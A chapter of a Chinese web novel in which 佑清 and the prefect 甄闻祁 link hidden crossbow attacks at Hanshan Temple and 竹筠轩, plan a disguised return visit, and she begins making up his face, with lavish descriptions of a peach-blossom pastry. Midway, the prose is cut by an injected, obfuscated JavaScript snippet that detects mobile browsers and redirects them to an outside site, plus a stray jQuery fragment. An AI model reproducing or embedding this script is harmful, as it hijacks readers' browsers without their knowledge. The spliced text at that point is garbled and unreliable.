20. 桃花酥
作品:《酥心记(美食)》 佑清将写好的单子折好,压在碟子下,防止纸张吹落。
碟子上盛放着桃花酥,酥皮易碎,淡粉的碎屑落下,像一场粉色的雪铺在碟底。
她伸手,指腹碾过碎屑,感觉着微硬的触感化成粉末,随后两指并拢细细摩挲。
——“佑清,你当真要与我分辨这件事吗?”
——“明知我会去刘府,你却假装来找刘大人帮忙,原因需要我说吗?”
——“佑清,我知你心思,你不说我绝不过问,寒山寺、竹筠轩,皆是我有错。但你的安危、你的性命,不能有丝毫损失。”
等等。
佑清原本发散的眼神突然凝滞在指尖那点粉末上,她想到一种可能。
寒山寺,竹筠轩。
同样是冷箭,悄无声息。
朝廷对金属流通的把控与盐运、粮米一样严格,刀、剑、铁链,凡是需要用铁的地方都是需要在官府登记获得许可才能烧制的。
除此之外便只有黑市能买到这些东西,放眼整个姑苏,又有多少人有这本事,取闫肃笙姓名之人有,竹筠轩背后之人也有。
若二者为一人,也并非没有可能。
“大人。”妙妙瞧见甄闻祁,福礼问好。
佑清从自己的思绪里拔出来,见甄闻祁换了身衣服,又想起方才见他时苍白的脸,心里一惊。
甄闻祁径直在佑清身边落座,旁人也都识趣地退出房间,关上门后一切杂音都被屏蔽在外,室内安静得连呼吸声都能听清。
“在想什么?”甄闻祁问。
佑清开门见山:“在想竹筠轩的暗箭……你今日可查到什么?”
“那个月娘不简单,其余倌人所住房间装潢摆设极为统一,只有她不一样。单论身份,管事自然有些许特权,但她书房中应该还有一密室,不然那么多弩箭根本无处可藏。可惜我被发现了,并未找到密室。恐怕这竹筠轩……就是个贼窝。”
这是甄闻祁最忌惮的。姑苏资源丰硕,又是鱼米之乡,在众人眼里就像一块美味的肥肉被放在地上,那些蚂蚁虫蛇自然都想染指。
表面上看这块肥肉完好无缺,恐怕内里早被啃食殆尽,其中曲折弯绕非一日可以消灭的。
“你知道吗?”佑清蹙眉,“寒山寺那日的冷箭,与我们今日在竹筠轩感觉到的,极为相似?”
甄闻祁握着茶杯的手指微微收紧:“你的猜测?”
“不确定,但感觉不会错。”佑清目光灼灼。
“这也是我所想。朝廷对铁器管制森严,私人大量铸造铁器、使用箭矢是重罪。月娘只是竹筠轩的管事,若背后无强权撑腰指使,不会有这样的渠道和胆子。”甄闻祁点头,沉声说,“闫肃笙的死,或许就与这条暗线有关。原本没有寒山寺一事,竹筠轩这条线应该早就被挖掘出来了,只是我们之前的重心都在阎王薄上。”
“所以,我们必须再进去一次。”佑清身体前倾,一字一顿强调,“你不准拒绝我,或者撇下我。”
原本二人心照不宣选择避而不谈的事又被佑清一句话摆到明面上。
甄闻祁:“我没有这样打算。”
“我已经想好了!”佑清就等他这样说,用手指抵住桃花酥碟子下压着的单子挪到甄闻祁面前,“需要用的东西我都用一条条列好了。”
甄闻祁看着她眼中闪烁的兴奋与笃定,打开单子细瞧,知道阻止已是徒劳,他叹了口气,声音里带着一丝妥协:“你想怎么做?”
“我今日去,是以我夫君能力不行为借口求药的,那药我也见过了。所以我需要一个人来做我的假丈夫。”佑清挑眉,胸有成竹地讲出自己的计划,“竹筠轩的人已经记住你的脸了,所以你需要派一个人供我差遣。”
甄闻祁眉梢微挑:“你想要谁?”
“崔弗?……明溪?……或者其他任何一个都行,我看每日晚上守在我屋前那棵树上的小侍卫就不错。”佑清还有心思调笑,歪着脑袋拖长声调,“不知道甄大人舍不舍得……”
甄闻祁搁在桌面的手轻敲两下纸页,问:“这清单里的猪蹄、蒟蒻是做什么的?”
“易容啊,”佑清漫不经心吐出三个字,“我师父早年行走江湖,学过一些旁门左道,其中就包括易容术。我虽学得不精,但弄个简单的改换容貌,遮掩一下特征,还是能做到的。”
甄闻祁:“给谁用?”
“甄大人说给谁,就给谁。”佑清不吃这一套,把问题又抛了回去。
甄闻祁:“……”他看着佑清装作听不懂的模样,一时间竟不知该气还是该笑。
“大人吃口桃花酥,樊楼买的,现下还酥软呢。”佑清指腹抵着碟子边缘,将东西推到甄闻祁面前,倒是自顾自拿了块桃花酥吃起来。
她现下心情很好。
指尖传来的触感带着烘烤后特有的干燥。这桃花酥做得极精巧,不过婴儿拳头大小,一层叠一层的酥皮,瓣瓣分明,拢成桃花模样。
酥皮是极淡的粉,并非俗艳的胭脂色,倒像是真将初春枝头最娇嫩的那片桃瓣碾碎了,混入油酥面里,才得了这般清雅色泽。
花瓣顶端,点着一星更深的妃色,如同被朝露浸润过,悄然晕开。中心处,并未完全收口,隐约透出里头饱满的、深浓近绛红的馅料颜色,是红果熬就的,光是瞧着,舌根便仿佛泛起了隐隐的酸意。
佑清凑近些,一股温甜的暖香便钻进鼻腔。不是花香,是油、面、糖在恰到好处的火候下交融出的,扎实到足够抚慰人心的甜香,其间又缠绕着一缕极清浅的、来自馅料的果酸气,巧妙地解了腻,只勾得人食指大动。
她低头小心地咬下一角。“咔嚓”一声,极细微,却清晰地在齿间响起。层层叠叠的酥皮应声碎裂,是一种极度松脆,像脚踩碎了冬日的薄冰,簌簌落下无数淡粉的碎屑,如下了一场温柔的雪,铺了她满手,也零星沾在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437137|184884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唇畔。
酥皮入口,几乎不需咀嚼,便被唾液润湿、化开,留下满口的油润甜香,是猪油与面粉最质朴却也最诱人的融合。
紧接着,舌尖触到了红果馅。馅料细腻绵密,并非完全的泥状,还保留了些许果肉的质感。刹那间,一股鲜明而活泼的酸意率先攻城略地,激得她口腔两侧不由自主地分泌出津液。这酸,清冽、爽快,带着山野间红果独有的生机,绝非令人蹙眉的尖酸。
佑清眯起眼,感受着这酸甜香酥在口中绽放的愉悦。
准备工作紧锣密鼓地进行。
佑清列的单子上的东西都好找,甄闻祁差人分批买了回来。房间里,她将牛皮、特制的胶泥、各色粉料、毛发等物一一摆开,神情专注。
胶泥便是用猪皮和蒟蒻熬制而成的,黏黏糊糊装在瓷罐里,半透明,一股油腻哈喇味。
甄闻祁依言坐在她面前,闭着眼,任由她摆布。
佑清先是用温热的湿毛巾替他净面,指尖触及他皮肤时,能感觉到他瞬间的紧绷。她抿唇笑了笑,故意放慢了动作,用指腹轻轻擦拭他的额角、鼻梁、下颌。
他的五官轮廓深邃,皮肤温热,闭着眼时,长睫在眼下投下淡淡的阴影,少了几分平日的清冷疏离,多了些难以言说的安静。
“甄大人,”佑清一边搅拌胶泥,一边状似无意地开口,声音放得很轻,像羽毛拂过,“你长得是像母亲多些,还是父亲多些?”
甄闻祁眼睫微不可察地颤动了一下,没有睁眼,也没有立刻回答。
佑清将调好的、温度适宜的胶泥用小刮刀挑起,开始一点点敷在他的脸上,从下颌边缘开始,动作轻柔而熟练。“你父母……是什么样的人?你从小就在京城长大吗?”
胶泥逐渐覆盖皮肤。甄闻祁沉默了片刻,就在佑清以为他不会回答时,他低沉的声音传来,显得有些模糊。
“家父……是武官。”甄闻祁顿了顿,“性子古板刚直,军中军纪严明,但他对我不算严厉。我长的像母亲,她喜欢读书,家中藏书万卷,卷卷熟读,倒是我有个妹妹,最厌读书。”
指腹下的起伏虽有男子特有的刚直,到眉眼处却略微露出些许柔和,那是来自母亲的传承。佑清认可了这个说法——确实很像。
佑清手上动作不停,仔细地将胶泥在他脸颊、鼻翼两侧推开,塑造出略微不同的骨骼线条。“武官啊……那甄大人你如今算是子承父业了?”她故意用了个不太恰当的词。
甄闻祁是知府,要走的也是文官的路子,除了时不时展现的矫健身手,实在看不出有武功底子在身上。
他似乎极轻地笑了一下,问:“你呢?你的长相随了谁?”
“我?”佑清用小工具细致地处理他眉骨和眼周的细节,这里需要格外小心,既要改变形状,又不能影响他睁眼闭眼,“甄大人说笑,我不过是个孤儿,侥幸被师父捡到,颤颤巍巍养到如今,能像谁。”